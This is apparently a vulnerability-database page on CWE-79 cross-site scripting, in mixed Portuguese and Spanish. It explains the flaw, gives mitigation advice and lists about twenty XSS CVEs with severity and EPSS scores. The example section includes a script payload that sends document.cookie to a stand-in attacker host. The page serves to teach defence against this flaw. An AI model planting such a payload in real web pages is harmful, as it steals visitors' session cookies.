Fallos del tipo CWE-79

29.818 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-8364MEDIUMWP Custom Fields Search <= 1.2.35 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpcfs-preset ShortcodeEPSS 0.4%CVE-2024-9344MEDIUMBerqWP – Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript <= 2.1.1 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-28001HIGHWordPress Favicon Rotator plugin <= 1.2.10 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-12450MEDIUMLiteSpeed Cache <= 7.5.0.1 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2026-30934HIGHFileBrowser Quantum: Stored XSS in public share page via unsanitized share metadata (text/template misuse)EPSS 0.4%CVE-2024-24879HIGHWordPress Link Library Plugin <= 7.5.13 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-31510HIGHIn the portal in LemonLDAP::NG before 2.21.0, cross-site scripting (XSS) allows remote attackers to inject arbitrary web script or HTML (intEPSS 0.4%CVE-2024-27999HIGHWordPress Preview E-mails for WooCommerce plugin <= 2.2.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-41519MEDIUMFeripro <= v2.2.3 is vulnerable to Cross Site Scripting (XSS) via "/admin/programm/<program_id>/zuordnung/veranstaltungen/<event_id>" througEPSS 0.4%CVE-2024-30447HIGHWordPress Creative Image Slider plugin <= 2.1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-6344MEDIUMZKTeco ZKBio CVSecurity V5000 Push Configuration Section cross site scriptingEPSS 0.4%CVE-2024-29470MEDIUMOneBlog v2.3.4 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the component {{rootpath}}/links.EPSS 0.4%CVE-2024-36359MEDIUMA cross-site scripting (XSS) vulnerability in Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 could allow an attacker to esEPSS 0.4%CVE-2024-21154MEDIUMVulnerability in the PeopleSoft Enterprise HCM Human Resources product of Oracle PeopleSoft (component: Human Resources). The supported veEPSS 0.4%CVE-2023-41691HIGHWordPress WooCommerce PensoPay Plugin <= 6.3.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-2082HIGHEleForms – All In One Form Integration including DB for Elementor <= 2.9.9.7 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-49747MEDIUMWordPress Guest Author Plugin <= 2.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-44987MEDIUMWordPress Timely Booking Button Plugin <= 2.0.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-24771MEDIUMHono has a Cross-site Scripting vulnerabilityEPSS 0.4%CVE-2023-40560MEDIUMWordPress Schedule Posts Calendar Plugin <= 5.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%